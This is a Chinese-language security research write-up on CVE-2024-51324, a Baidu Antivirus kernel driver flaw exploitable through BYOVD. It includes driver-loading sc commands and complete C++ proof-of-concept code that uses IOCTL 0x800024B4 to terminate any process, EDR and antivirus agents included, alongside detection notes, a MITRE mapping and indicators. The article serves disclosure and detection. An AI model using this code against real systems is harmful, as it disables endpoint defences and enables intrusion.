Vulnerability CVSS 3.8 Low

分析 CVE-2024-51324:從漏洞原理到 PoC 實作

CVE-2024-51324 是百度防毒 BdApiUtil.sys(v5.2.3.116083)的權限管控缺陷(CWE-269):驅動載入後任何使用者都能以 IOCTL 0x800024B4 要求核心終止任意程序(含 EDR/AV)。本文從漏洞原理到可運作 PoC,並說明其在核心層終止的隱蔽性,以及以 sc.exe 追蹤驅動載入的偵測切入點。

Yuna Liu · 發布

地區 Global 產業 跨產業 平台 Windows
vulnerability CVE-2024-51324 technique BYOVD

Key findings

  • CVE-2024-51324 位於百度防毒的 BdApiUtil.sys(v5.2.3.116083);驅動載入後任何使用者帳號都能以特定 IOCTL 要求核心終止任意程序,屬 CWE-269 權限管控缺陷。
  • 透過 IOCTL 0x800024B4 傳入目標 PID,驅動在 Ring 0 呼叫 ZwTerminateProcess 直接終止程序,可用來關閉受保護的系統程序與 EDR/AV Agent,屬典型 BYOVD。
  • 因終止動作在核心層直接執行、未經 taskkill 或 TerminateProcess 等 user-mode API,以 user-mode 為主的行為監控(ETW、API Hook、Sysmon)較難留下痕跡。
  • 偵測切入點:核心終止行為雖隱蔽,但驅動的服務建立與載入可透過 sc.exe 操作紀錄追蹤,是辨識 BYOVD 活動的關鍵特徵。
  • 官方 CVSS 3.1 基礎分數為 3.8(Low),主因載入驅動需較高權限(PR:H);但一旦驅動載入,即成為關閉端點防護的有效原語。

CVE-2024-51324 示意圖(AI 生成)

前言與漏洞簡介

本文針對 CVE-2024-51324 進行實作與分析。研究起因是在 APT 追蹤過程中,於中國攻擊者的樣本中發現百度防毒的驅動程式 BdApiUtil.sys,基於好奇進一步研究後,發現該漏洞可用於終止目標設備的任意 Process。

CVE-2024-51324 與 BYOVD(Bring Your Own Vulnerable Driver) 類型的攻擊手法相關,發生於 Baidu Antivirus(百度防毒)所使用的驅動 BdApiUtil.sys。攻擊者若載入該驅動,便能透過特定 IOCTL 呼叫以核心權限終止任意程序,包括受保護的系統程序與各種 EDR/AV Agent。

項目內容
影響產品Baidu Antivirus — BdApiUtil.sys
影響版本v5.2.3.116083
可被濫用行為在 Kernel 內終止任意進程
弱點分類CWE-269 — Improper Privilege Management
CVSS 3.13.8(Low),AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

此漏洞源於驅動在權限控管上的設計缺陷:BdApiUtil.sys 載入後,系統中任何使用者帳號皆能向其發送 IOCTL 請求;由於驅動在 Ring 0 執行程序終止操作,使其具備比一般使用者模式程式更高的權限,受影響範圍包含 EDR/AV Agent、關鍵系統保護程序,以及多項核心 Windows 服務。

本文僅供防禦研究、事件應變、威脅狩獵與教育用途。文中 PoC 與工具具風險,請僅在隔離、可還原且不連接生產網路之環境中測試。本文不鼓勵、協助或默許任何未經授權之行為;所提及之第三方平台與產品名稱僅作技術描述之用。

漏洞實作

BdApiUtil.sys 的利用流程為:取得系統操作能力(或利用目標系統已安裝的驅動)→ 驅動被載入 Kernel → 傳入 IOCTL + 目標 PID → 驅動在 Ring 0 直接終止該進程。為驗證可利用性,於 VMware 環境部署偵測版端點產品,並依公開的漏洞行為撰寫可終止任意 Process 的 PoC,整體分三步。

步驟 1:準備 BdApiUtil.sys 並啟動驅動服務

取得 BdApiUtil.sys 並放入目錄(例如 C:\Users\user\Desktop\BdApiUtil.sys\BdApiUtil.sys)。

將 BdApiUtil.sys 放入目錄

建立並啟動驅動服務(需系統權限):

sc create bd type=kernel binPath="C:\Users\user\Desktop\BdApiUtil.sys\BdApiUtil.sys"
sc start bd

建立並啟動驅動服務

步驟 2:編譯 PoC 程式並與 BdApiUtil.sys 通訊

GitHub(LOLDrivers Issue #204)已提供精簡的 C++ 範例,本研究以其為基礎編譯。程式邏輯為:開啟驅動 \\.\BdApiUtil → 傳入目標 PID → 使用 IOCTL 0x800024B4 要求 Kernel 終止該 Process。

#include <windows.h>
#include <stdio.h>
#include <iostream>

int main() {
#define IOCTL_TERMINATE_PROCESS 0x800024B4
#define DEVICE_NAME L"\\\\.\\BdApiUtil"

    unsigned int pid;

    // 1. Open a handle to the driver
    HANDLE hDriver = CreateFile(
        DEVICE_NAME,
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hDriver == INVALID_HANDLE_VALUE) {
        printf("Error opening device: %d\n", GetLastError());
        return 1;
    }

    printf("PID please : \n");
    scanf_s("%u", &pid);

    // 2. Send a code to the driver
    DWORD bytesReturned = 0;
    BYTE outBuffer[256];
    BOOL ioctlResult = DeviceIoControl(
        hDriver, IOCTL_TERMINATE_PROCESS,
        &pid, sizeof(pid), NULL, 0, &bytesReturned, NULL);

    if (!ioctlResult) {
        printf("Killing IOCTL failed with error: %d\n", GetLastError());
    } else {
        printf("DeviceIoControl succeeded.\n");
    }

    CloseHandle(hDriver);
    return 0;
}

根據上方程式碼建立 poc.cpp

使用 x64 Native Tools Command Prompt for VS 編譯,取得 poc.exe

編譯後取得 poc.exe

步驟 3:選擇要終止的 Process

選擇要終止的 PID

執行 poc.exe、輸入 PID 4896,成功關閉目標 process。

執行 poc.exe 並輸入 PID

漏洞實作結果,經測試,PoC 成功在無管理員權限的情況下自 Kernel 內終止目標 process。(備註:驅動漏洞的利用本身與端點產品的自我保護機制相關,故於各家防毒的結果不盡相同。)

行為分析

以系統日誌觀察漏洞行為,可發現部分特徵在日誌中留有痕跡:

服務建立可透過 sc.exe 追蹤,PoC 以 sc create 建立驅動服務,模擬實際威脅情境中常見的未授權驅動載入。透過 sc.exe 追蹤可見 C:\Users\user\Desktop\BdApiUtil.sys\BdApiUtil.sys 被建立為 bd 服務,此模式與許多既有的 BYOVD 攻擊鏈相符,可作為調查階段的關鍵特徵。

建立服務紀錄

服務啟動的驅動載入可觀察,當 bd 服務被啟動時,BdApiUtil.sys 由 sc.exe 交給核心載入。與建立服務不同,啟動服務才是驅動進入 Kernel 模式執行的關鍵步驟;驅動一旦進入核心,便能利用弱點進行任意讀寫記憶體、關閉安全機制或提權等後續操作。

啟動服務後 BdApiUtil.sys 被載入

poc.exe 落地可見,但後續行為未在監控層呈現,可確認 poc.exe 成功落地並啟動,但後續觸發的行為並未在 user-mode 監控層留下可觀察日誌。原因在於漏洞驅動於核心層透過 IOCTL 呼叫 ZwTerminateProcess 終止目標,直接在 Ring 0 執行、未經 taskkill 或 TerminateProcess() 等 user-mode API,因此測試過程未觀察到相關紀錄。

cmd.exe 執行 poc.exe 的日誌紀錄

總結

CVE-2024-51324 透過 BYOVD 手法達成核心層級的程序終止,並能在不觸發常見 user-mode 監控機制的情況下中止目標。此類漏洞常被攻擊者用於規避防毒端點偵測,原因在於部分端點的行為監控以 user-mode 為主要來源(如 ETW、User-mode API Hook、Sysmon/EventLog);當驅動在核心模式直接操作 EPROCESS 結構或呼叫內核層級的 terminate 函式時,終止行為便較難被端點監控。

藉由 BYOVD 讓漏洞驅動在核心層執行敏感操作,是一條具隱蔽性的攻擊途徑。因此調查此類漏洞時,以 sc.exe 追蹤服務建立與驅動載入行為,是辨識可疑活動的關鍵切入點之一。

參考

MITRE ATT&CK mapping

TacticTechniqueProcedure
Defense evasionT1211以 BYOVD 載入帶漏洞的合法驅動 BdApiUtil.sys,透過 IOCTL 於核心層終止防護程序,達成防禦迴避
Privilege escalationT1543.003以 sc create(type=kernel)建立並啟動 bd 驅動服務,將 BdApiUtil.sys 載入核心取得 Ring 0 能力
Defense evasionT1562.001利用驅動漏洞在核心終止 EDR/AV Agent 與受保護的系統程序
ExecutionT1106驅動於 Ring 0 直接呼叫 ZwTerminateProcess,繞過 taskkill、TerminateProcess 等 user-mode API

Indicators of compromise

TypeIndicatorFirst seenLast verifiedConfidenceStatus
FilenameBdApiUtil.sys百度防毒 v5.2.3.116083 的弱點驅動;合法簽章但可被 BYOVD 濫用以終止任意程序2025-022025-12-19Moderate
String0x800024B4BdApiUtil 終止程序的 IOCTL code(DeviceIoControl 呼叫)2025-022025-12-19High
String\\.\BdApiUtil弱點驅動的 device 物件路徑2025-022025-12-19High

OIS-2025-002 · TLP:CLEAR under FIRST TLP 2.0 · 引用本研究請附研究編號與固定網址。